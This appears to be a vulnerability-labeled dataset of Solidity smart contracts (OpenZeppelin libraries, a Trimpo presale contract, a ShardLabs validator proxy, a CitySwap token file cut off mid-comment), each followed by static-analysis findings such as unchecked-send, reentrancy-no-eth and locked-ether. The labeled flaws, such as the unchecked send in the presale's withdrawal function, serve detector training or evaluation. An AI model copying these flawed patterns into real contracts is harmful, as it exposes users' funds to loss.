function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
} | These are the vulnerabilities found
1) unused-return with Medium impact
2) locked-ether with Medium impact |
pragma solidity ^0.4.16;
interface TrimpoToken {
function presaleAddr() constant returns (address);
function transferPresale(address _to, uint _value) public;
}
contract Admins {
address public admin1;
address public admin2;
address public admin3;
function Admins(address a1, address a2, address a3) public {
admin1 = a1;
admin2 = a2;
admin3 = a3;
}
modifier onlyAdmins {
require(msg.sender == admin1 || msg.sender == admin2 || msg.sender == admin3);
_;
}
function setAdmin(address _adminAddress) onlyAdmins public {
require(_adminAddress != admin1);
require(_adminAddress != admin2);
require(_adminAddress != admin3);
if (admin1 == msg.sender) {
admin1 = _adminAddress;
}
else
if (admin2 == msg.sender) {
admin2 = _adminAddress;
}
else
if (admin3 == msg.sender) {
admin3 = _adminAddress;
}
}
}
contract Presale is Admins {
uint public duration;
uint public hardCap;
uint public raised;
uint public bonus;
address public benefit;
uint public start;
TrimpoToken token;
address public tokenAddress;
uint public tokensPerEther;
mapping (address => uint) public balanceOf;
modifier goodDate {
require(start > 0);
require(start <= now);
require((start+duration) > now);
_;
}
modifier belowHardCap {
require(raised < hardCap);
_;
}
event Investing(address investor, uint investedFunds, uint tokensWithoutBonus, uint tokens);
event Raise(address to, uint funds);
function Presale(
address _tokenAddress,
address a1,
address a2,
address a3
) Admins(a1, a2, a3) public {
hardCap = 1000 ether;
bonus = 50; //percents bonus
duration = 61 days;
tokensPerEther = 400; //base price without bonus
tokenAddress = _tokenAddress;
token = TrimpoToken(_tokenAddress);
start = 1526342400; //15 May
}
function() payable public goodDate belowHardCap {
uint tokenAmountWithoutBonus = msg.value * tokensPerEther;
uint tokenAmount = tokenAmountWithoutBonus + (tokenAmountWithoutBonus * bonus/100);
token.transferPresale(msg.sender, tokenAmount);
raised+=msg.value;
balanceOf[msg.sender]+= msg.value;
Investing(msg.sender, msg.value, tokenAmountWithoutBonus, tokenAmount);
}
function setBenefit(address _benefit) public onlyAdmins {
benefit = _benefit;
}
function getFunds(uint amount) public onlyAdmins {
require(benefit != 0x0);
require(amount <= this.balance);
Raise(benefit, amount);
benefit.send(amount);
}
} | These are the vulnerabilities found
1) unchecked-send with Medium impact
2) reentrancy-no-eth with Medium impact |
// SPDX-FileCopyrightText: 2021 ShardLabs
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.7;
import "@openzeppelin/contracts/proxy/Proxy.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./interfaces/IValidatorProxy.sol";
/// @title ValidatorProxy
/// @author 2021 ShardLabs.
/// @notice The validator proxy contract is a proxy used as a validator owner in the
/// stakeManager. Each time a new operator is added a new validator proxy is created
/// by the validator factory and assigned to the operator. Later we can use it to
/// stake the validator on the stakeManager and manage it.
contract ValidatorProxy is IValidatorProxy, Proxy {
/// @notice the validator implementation address.
address public implementation;
/// @notice the operator address.
address public operator;
/// @notice validator factory address.
address public validatorFactory;
constructor(
address _newImplementation,
address _operator,
address _validatorFactory
) {
implementation = _newImplementation;
operator = _operator;
validatorFactory = _validatorFactory;
}
/// @notice check if the msg.sender is the validator factory.
modifier isValidatorFactory() {
require(
msg.sender == validatorFactory,
"Caller is not the validator factory"
);
_;
}
/// @notice Allows the validatorFactory to set the validator implementation.
/// @param _newValidatorImplementation set a new implementation
function setValidatorImplementation(address _newValidatorImplementation)
external
override
isValidatorFactory
{
implementation = _newValidatorImplementation;
}
/// @notice Allows the validatorFactory to set the operator implementation.
/// @param _newOperator set a new operator.
function setOperator(address _newOperator)
external
override
isValidatorFactory
{
operator = _newOperator;
}
/// @notice Allows to get the contract implementation address.
/// @return Returns the address of the implementation
function _implementation()
internal
view
virtual
override
returns (address)
{
return implementation;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (proxy/Proxy.sol)
pragma solidity ^0.8.0;
/**
* @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
* instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
* be specified by overriding the virtual {_implementation} function.
*
* Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
* different contract through the {_delegate} function.
*
* The success and return data of the delegated call will be returned back to the caller of the proxy.
*/
abstract contract Proxy {
/**
* @dev Delegates the current call to `implementation`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _delegate(address implementation) internal virtual {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
/**
* @dev This is a virtual function that should be overriden so it returns the address to which the fallback function
* and {_fallback} should delegate.
*/
function _implementation() internal view virtual returns (address);
/**
* @dev Delegates the current call to the address returned by `_implementation()`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _fallback() internal virtual {
_beforeFallback();
_delegate(_implementation());
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
* function in the contract matches the call data.
*/
fallback() external payable virtual {
_fallback();
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data
* is empty.
*/
receive() external payable virtual {
_fallback();
}
/**
* @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`
* call, or as part of the Solidity `fallback` or `receive` functions.
*
* If overriden should call `super._beforeFallback()`.
*/
function _beforeFallback() internal virtual {}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-FileCopyrightText: 2021 ShardLabs
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.7;
interface IValidatorProxy {
/// @notice Allows to set a new validator implementation.
/// @param _newImplementation new address.
function setValidatorImplementation(address _newImplementation) external;
/// @notice Allows to set a new operator.
/// @param _newOperator new address.
function setOperator(address _newOperator) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
/*
website: cityswap.io
██╗ ██╗ █████╗ ██████╗ ███████╗ █████╗ ██╗ ██╗ ██████╗██╗████████╗██╗ ██╗
██║ ██║██╔══██╗██╔══██╗██╔════╝██╔══██╗██║ ██║ ██╔════╝██║╚══██╔══╝╚██╗ ██╔╝
██║ █╗ ██║███████║██████╔╝███████╗███████║██║ █╗ ██║ ██║ ██║ ██║ ╚████╔╝
██║███╗██║██╔══██║██╔══██╗╚════██║██╔══██║██║███╗██║ ██║ ██║ ██║ ╚██╔╝
╚███╔███╔╝██║ ██║██║ ██║███████║██║ ██║╚███╔███╔╝ ╚██████╗██║ ██║ ██║
╚══╝╚══╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚══╝╚══╝ ╚═════╝╚═╝ ╚═╝ ╚═╝
*/
pragma solidity ^0.6.12;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
